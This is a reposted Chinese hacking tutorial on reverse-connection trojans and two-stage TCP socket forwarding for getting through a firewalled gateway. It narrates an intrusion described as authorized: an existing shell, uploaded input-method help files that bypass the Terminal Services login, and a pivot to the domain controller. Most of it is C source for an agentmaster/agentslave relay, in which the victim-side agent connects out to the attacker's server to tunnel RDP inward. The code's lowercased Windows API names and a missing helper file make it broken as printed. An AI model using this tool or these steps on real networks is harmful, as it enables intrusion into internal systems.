织梦CMS - 轻松建站从此开始!

罗索

利用socket转发和反弹端口技术突破防火墙进入内

罗索客 发布于 2010-05-07 13:22 点击:次 
反弹端口型软件的原理是,客户端首先登录到FTP服务器,编辑在木马软件中预先设置的主页空间上面的一个文件,并打开端口监听,等待服务端的连接,服务端定期用HTTP协议读取这个文件的内容,当发现是客户端让自己开始连接时,就主动连接,如此就可完成连接工作。
TAG:

TCP端口反弹技术?

反弹技术,该技术解决了传统的远程控制软件不能访问装有防火墙和控制局域网内部的远程计算机的难题。反弹端口型软件的原理是,客户端首先登录到FTP服务器,编辑在木马软件中预先设置的主页空间上面的一个文件,并打开端口监听,等待服务端的连接,服务端定期用HTTP协议读取这个文件的内容,当发现是客户端让自己开始连接时,就主动连接,如此就可完成连接工作。因此在互联网上可以访问到局域网里通过 NAT (透明代理)代理上网的电脑,并且可以穿过防火墙。与传统的远程控制软件相反,反弹端口型软件的服务端会主动连接客户端,客户端的监听端口一般开为80(即用于网页浏览的端口),这样,即使用户在命令提示符下使用"netstat -a"命令检查自己的端口,发现的也是类似"TCP UserIP:3015 ControllerIP:http ESTABLISHED"的情况,稍微疏忽一点你就会以为是自己在浏览网页,而防火墙也会同样这么认为的。于是,与一般的软件相反,反弹端口型软件的服务端主动连接客户端,这样就可以轻易的突破防火墙的限制。
 
利用两次TCP SOCKET数据转发突破TCP/IP限制进入
--------------------------------------------------------------------------------
事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹tcp端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:
  
  上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。
  
  〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到internet,但我是网关的admin:)。
  
  〈2〉敌人[其实是friend啦]的网关os是2k adv server,在外网网卡上做了tcp/ip限制,只开放了25,53,80,110,3306这几个tcp port,通过一个漏洞,我得到了一个shell,可以通过ie来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用tcp socket转发。和第一部分说的一样吗?有些不同。因为他做了tcp/ip限制,我们不能连接他,只能让他来连接我们了,tcp反弹端口,呵呵。
  
  攻击流程如下:
  
  〈1〉在我的服务器202.1.1.1运行agentmaster,监听tcp port 12345,等待202.2.2.2来连接,监听tcp port 3389,等待我192.168.0.2连接。
  
  〈2〉在敌人网关机器202.2.2.2运行agentslave,连接到202.1.1.1 tcp port 12345[注意:是反弹端口,tcp/ip过滤也拿他没办法]
  
  〈3〉我自己192.168.0.2用termclient连接到自己的服务器202.1.1.1:3389
  
  〈4〉敌人网关上的agentslave连接到自己本身在内网的ip==〉192.168.1.1:3389
  
  〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。
    后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了tcp/ip过滤,攻击者没有办法进入。我只要把agentslave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。
  程序代码如下[程序中所用到的tcpdataredird.c已经贴在第一部分,那个文件做数据转发,通用的:
  module name:agentmaster.c
  date:2001/4/16
  copyright(c) eyas
  说明:scoket代理主控端,负责监听两个tcp socket,等待攻击者和agentslave来连接,两个
  scoket都连接成功后,开始转发数据
  sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]
  1. #include <stdio.h>  
  2. #include <winsock2.h>  
  3. #include "tcpdataredird.c"   
  4.  
  5. #pragma comment(lib,"ws2_32.lib")   
  6.  
  7. #define targetport 3389//伪装的target的监听端口   
  8. #define localport 12345//等待agentslave来connect的端口   
  9. int main()   
  10. {   
  11. wsadata wsd;   
  12. socket s3389=invalid_socket,//本机监听的socket,等待攻击者连接   
  13. s1981=invalid_socket,//监听的socket,等待agentslave来连接   
  14. sock[2]={invalid_socket,invalid_socket};   
  15. struct sockaddr_in local3389,local1981,attack,slave;   
  16. int iaddrsize;   
  17. handle hthreadc2t=null,//c2t=clienttotarget   
  18. hthreadt2c=null;//t2c=targettoclient   
  19. dword dwthreadid;   
  20.  
  21. __try   
  22. {   
  23. //load winsock library   
  24. if(wsastartup(makeword(2,2),&wsd)!=0)   
  25. {   
  26. printf("\nwsastartup() failed:%d",getlasterror());   
  27. __leave;   
  28. }   
  29. //create socket   
  30. s3389=socket(af_inet,sock_stream,ipproto_ip);   
  31. if(s3389==invalid_socket)   
  32. {   
  33. printf("\nsocket() failed:%d",getlasterror());   
  34. __leave;   
  35. }   
  36. //create socket   
  37. s1981=socket(af_inet,sock_stream,ipproto_ip);   
  38. if(s1981==invalid_socket)   
  39. {   
  40. printf("\nsocket() failed:%d",getlasterror());   
  41. __leave;   
  42. }   
  43. //fill the struct   
  44. local3389.sin_addr.s_addr=htonl(inaddr_any);   
  45. local3389.sin_family=af_inet;   
  46. local3389.sin_port=htons(targetport);   
  47.  
  48. local1981.sin_addr.s_addr=htonl(inaddr_any);   
  49. local1981.sin_family=af_inet;   
  50. local1981.sin_port=htons(localport);   
  51. //bind s3389 for attacker   
  52. if(bind(s3389,(struct sockaddr *)&local3389,sizeof(local3389))==socket_error)   
  53. {   
  54. printf("\nbind() failed:%d",getlasterror());   
  55. __leave;   
  56. }   
  57. //listen for attacker to connect   
  58. if(listen(s3389,1)==socket_error)   
  59. {   
  60. printf("\nlisten() failed:%d",getlasterror());   
  61. __leave;   
  62. }   
  63. //bind s1981 for agentslave   
  64. if(bind(s1981,(struct sockaddr *)&local1981,sizeof(local1981))==socket_error)   
  65. {   
  66. printf("\nbind() failed:%d",getlasterror());   
  67. __leave;   
  68. }   
  69. //listen for agentslave to connect   
  70. if(listen(s1981,1)==socket_error)   
  71. {   
  72. printf("\nlisten() failed:%d",getlasterror());   
  73. __leave;   
  74. }   
  75. //socket循环   
  76. while(1)   
  77. {   
  78. //wait for agentslave to connect   
  79. iaddrsize=sizeof(slave);   
  80. sock[1]=accept(s1981,(struct sockaddr *)&slave,&iaddrsize);   
  81. if(sock[1]==invalid_socket)   
  82. {   
  83. printf("\naccept() failed:%d",getlasterror());   
  84. break;   
  85. }   
  86. printf("\naccept agentslave==〉%s:%d",inet_ntoa(slave.sin_addr),   
  87. ntohs(slave.sin_port));   
  88. //wait for attacker to connect   
  89. iaddrsize=sizeof(attack);   
  90. sock[0]=accept(s3389,(struct sockaddr *)&attack,&iaddrsize);   
  91. if(sock[0]==invalid_socket)   
  92. {   
  93. printf("\naccept() failed:%d",getlasterror());   
  94. break;   
  95. }   
  96. printf("\naccept attacker==〉%s:%d",inet_ntoa(attack.sin_addr),   
  97. ntohs(attack.sin_port));   
  98. //创建两个线程进行数据转发   
  99. hthreadc2t=createthread(null,0,tcpdatac2t,(lpvoid)sock,0,&dwthreadid);   
  100. hthreadt2c=createthread(null,0,tcpdatat2c,(lpvoid)sock,0,&dwthreadid);   
  101. //等待两个线程结束   
  102. waitforsingleobject(hthreadc2t,infinite);   
  103. closehandle(hthreadc2t);   
  104. closehandle(hthreadt2c);   
  105. closesocket(sock[0]);   
  106. closesocket(sock[1]);   
  107. }//end of socket while   
  108. }//end of try   
  109. __finally   
  110. {   
  111. //clean all   
  112. if(s3389!=invalid_socket) closesocket(s3389);   
  113. if(s1981!=invalid_socket) closesocket(s1981);   
  114. if(sock[0]!=invalid_socket) closesocket(sock[0]);   
  115. if(sock[1]!=invalid_socket) closesocket(sock[1]);   
  116. if(hthreadc2t!=null) closehandle(hthreadc2t);   
  117. if(hthreadt2c!=null) closehandle(hthreadt2c);   
  118. wsacleanup();   
  119. }   
  120. return 0;   
  121. }   

  module:agentslave.c
  date:2001/4/17
  copyright(c)eyas
  homepage:www.patching.net
  说明:这个程序负责连接最终目标,连接主控端,然后转发数据
  这里连接到agenrmaster的socket相当与sclient==〉sock[0],
  连接到最终目标的socoket是starget==〉sock[1]
 

   

  1. #include <stdio.h>   
  2. #include <winsock2.h>   
  3. #include "tcpdataredird.c"   
  4.  
  5. #pragma comment(lib,"ws2_32.lib")   
  6.  
  7. #define targetip "192.168.1.3"   
  8. #define targetport (int)3389   
  9. #define agentmasterip "202.1.1.1"   
  10. #define agentmasterport (int)12345   
  11.  
  12. int main()   
  13. {   
  14. wsadata wsd;   
  15. socket sock[2]={invalid_socket,invalid_socket};   
  16. struct sockaddr_in master,target;   
  17. handle hthreadc2t=null,//c2t=clienttotarget   
  18. hthreadt2c=null;//t2c=targettoclient   
  19. dword dwthreadid;   
  20.  
  21. __try   
  22. {   
  23. //load winsock library   
  24. if(wsastartup(makeword(2,2),&wsd)!=0)   
  25. {   
  26. printf("\nwsastartup() failed:%d",getlasterror());   
  27. __leave;   
  28. }   
  29. //循环   
  30. while(1)   
  31. {   
  32. //create client socket   
  33. sock[0]=socket(af_inet,sock_stream,ipproto_ip);   
  34. if(sock[0]==invalid_socket)   
  35. {   
  36. printf("\nsocket() failed:%d",getlasterror());   
  37. __leave;   
  38. }   
  39. //create target socket   
  40. sock[1]=socket(af_inet,sock_stream,ipproto_ip);   
  41. if(sock[1]==invalid_socket)   
  42. {   
  43. printf("\nsocket() failed:%d",getlasterror());   
  44. __leave;   
  45. }   
  46. //fill struct   
  47. target.sin_family=af_inet;   
  48. target.sin_addr.s_addr=inet_addr(targetip);   
  49. target.sin_port=htons(targetport);   
  50.  
  51. master.sin_family=af_inet;   
  52. master.sin_addr.s_addr=inet_addr(agentmasterip);   
  53. master.sin_port=htons(agentmasterport);   
  54. //connect to agentmaster   
  55. if(connect(sock[0],(struct sockaddr *)&master,sizeof(master))==socket_error)   
  56. {   
  57. //连接失败后,等待一会儿再连   
  58. printf("\nconnect() to master failed:%d",getlasterror());   
  59. closesocket(sock[0]);   
  60. closesocket(sock[1]);   
  61. sleep(5000);   
  62. continue;   
  63. }   
  64. printf("\nconnect to %s %d success!",agentmasterip,agentmasterport);   
  65. //connect to target   
  66. if(connect(sock[1],(struct sockaddr *)&target,sizeof(target))==socket_error)   
  67. {   
  68. printf("\nconnect() to target failed:%d",getlasterror());   
  69. __leave;   
  70. }   
  71. printf("\nconnect to %s %d success!",targetip,targetport);   
  72. //创建两个线程进行数据转发   
  73. hthreadc2t=createthread(null,0,tcpdatac2t,(lpvoid)sock,0,&dwthreadid);   
  74. hthreadt2c=createthread(null,0,tcpdatat2c,(lpvoid)sock,0,&dwthreadid);   
  75. //等待两个线程结束   
  76. waitforsingleobject(hthreadc2t,infinite);   
  77. closehandle(hthreadc2t);   
  78. closehandle(hthreadt2c);   
  79. closesocket(sock[0]);   
  80. closesocket(sock[1]);   
  81. }//end of while   
  82. }//end of try   
  83. __finally   
  84. {   
  85. if(sock[0]!=invalid_socket) closesocket(sock[0]);   
  86. if(sock[1]!=invalid_socket) closesocket(sock[1]);   
  87. if(hthreadc2t!=null) closehandle(hthreadc2t);   
  88. if(hthreadt2c!=null) closehandle(hthreadt2c);   
  89. wsacleanup();   
  90. }   
  91. return 0;   

原文: http://www.vfocus.net/art/index_f.html

(秩名)
本站文章除注明转载外,均为本站原创或编译欢迎任何形式的转载,但请务必注明出处,尊重他人劳动,同学习共成长。转载请注明:文章转载自:罗索实验室 [http://www.rosoo.net/a/201005/9356.html]
本文出处:vfocus.net 作者:秩名
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片
栏目列表
将本文分享到微信
织梦二维码生成器
推荐内容